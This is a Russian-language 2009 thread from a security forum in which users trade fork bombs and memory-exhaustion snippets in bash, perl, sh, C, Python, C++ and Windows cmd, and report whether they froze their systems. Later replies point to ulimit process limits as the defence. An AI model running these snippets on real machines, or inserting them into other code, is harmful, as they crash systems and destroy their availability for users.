ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > *nix
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

форк-бомбы
  #1  
Старый 04.03.2009, 18:16
jawbreaker
Участник форума
Регистрация: 07.07.2008
Сообщений: 161
Провел на форуме:
1027635

Репутация: 234
По умолчанию форк-бомбы

Винду можно повесить bat-файлом, чтобы сделать то же в линуксе нужно воспользоваться форк-бомбой(последствия запуска могут быть самыми плачевными). Вот примеры некоторых из них:

Не уверен не запускай!

1) bash
Код:
:(){ :|:&};:
2)perl
Код:
$ perl -MPOSIX -e '$pid=fork; exit if $pid; setid; fork while(1)'
3)sh
Код:
$ echo '. ./_&. ./_'>_;. ./_
или создаем файлик с таким содержимым и (не)запускаем его
Код:
#!/bin/sh
$0 & $0 &
Предлагайте ещё варианты ^_^
 
Ответить с цитированием

  #2  
Старый 04.03.2009, 23:28
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


Отправить сообщение для Tigger с помощью ICQ
По умолчанию

Повесить винду множественными радиректами и выполнениями (загрузкоц ЦП) функция нп пхп и т.д. =)
 
Ответить с цитированием

  #3  
Старый 05.03.2009, 02:39
tmp
Участник форума
Регистрация: 10.03.2005
Сообщений: 234
Провел на форуме:
936234

Репутация: 56
По умолчанию

Мож я делаю что то не так? Или это уже все залатали?

Пробовал 1 и 3 ий варианты . Ни чего не произошло. Отсальные впадло писать

uname -a
Linux localhost.localdomain 2.6.27.15-78.2.23.fc9.x86_64 #1 SMP Wed Feb 11 23:11:11 EST 2009 x86_64 x86_64 x86_64 GNU/Linux

ЗЫ
Добавлю (выявил сегодня утром):
Эта гадость забила мне весь bash_history юзера из под которого запускал форк-бомбы своим дерьмом других неудобств вроде не замечено

Последний раз редактировалось tmp; 05.03.2009 в 12:03..
 
Ответить с цитированием

  #4  
Старый 05.03.2009, 17:32
jawbreaker
Участник форума
Регистрация: 07.07.2008
Сообщений: 161
Провел на форуме:
1027635

Репутация: 234
По умолчанию

Наверное это на новых кернелах.
На
Код:
Linux 2.6.21.5-smp #2 SMP Tue Jun 19 14:58:11 CDT 2007 i686 Intel(R) Celeron(R) CPU 2.00GHz GenuineIntel GNU/Linux
мне пришлось нажать резет.
 
Ответить с цитированием

  #5  
Старый 06.03.2009, 16:20
betakley
Новичок
Регистрация: 29.12.2008
Сообщений: 24
Провел на форуме:
228928

Репутация: 20
По умолчанию

4) С
Код:
#include <unistd.h>
int main()
{
  while(1)
    fork();
}
5) Python
Код:
import os
while(1):
  os.fork()
 
Ответить с цитированием

  #6  
Старый 06.03.2009, 16:30
gold-goblin
Познавший АНТИЧАТ
Регистрация: 26.03.2007
Сообщений: 1,095
Провел на форуме:
5265510

Репутация: 455


По умолчанию

Цитата:
import os
while(1):
os.fork()
на 2 ядрах бесполезно....
да и интерпретатор быстрей повиснет чем система
 
Ответить с цитированием

  #7  
Старый 29.04.2009, 21:47
delux
Познающий
Регистрация: 11.06.2008
Сообщений: 39
Провел на форуме:
4765640

Репутация: 33
По умолчанию

rкопирайты на википедию хоть бы закинул
не раз уже читали
под_венду.cmd
%0|%0
 
Ответить с цитированием

  #8  
Старый 29.04.2009, 22:52
tux
Постоянный
Регистрация: 26.03.2009
Сообщений: 840
Провел на форуме:
1396963

Репутация: 517


Отправить сообщение для tux с помощью ICQ
По умолчанию

Форк бомбы на сегодняшний день малоэффективны. Ибо можно простой опцией ограничить кол-во порожденных процессов. Кстати, как и память, которую может забрать процесс. Под никсами, разумеется.
 
Ответить с цитированием

  #9  
Старый 30.04.2009, 19:38
cupper
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
Провел на форуме:
1180737

Репутация: 180


По умолчанию

народ а форк бомбы это тольео на загрузку проца ? а какже память ?
#include <iostream>
int main (){
while(1) char *a=new char[1024];
}
пару секунд и из 2г оперытивки и 1 гиг подкачки улетели, система почти умерла.
Оживил только тем что оставил активной консоль и там ctr+C и то несразу сработало. Так некто немешает сделать свой обработчик сигналов.
Если невтему извеняйте.
 
Ответить с цитированием

  #10  
Старый 01.05.2009, 14:35
tux
Постоянный
Регистрация: 26.03.2009
Сообщений: 840
Провел на форуме:
1396963

Репутация: 517


Отправить сообщение для tux с помощью ICQ
По умолчанию

http://webtools.live2support.com/linux/ulimit.php
При правильной настройке "форки" идут лесом.
Тут про то же по-русски. Правда, немного.

Последний раз редактировалось tux; 01.05.2009 в 14:37..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ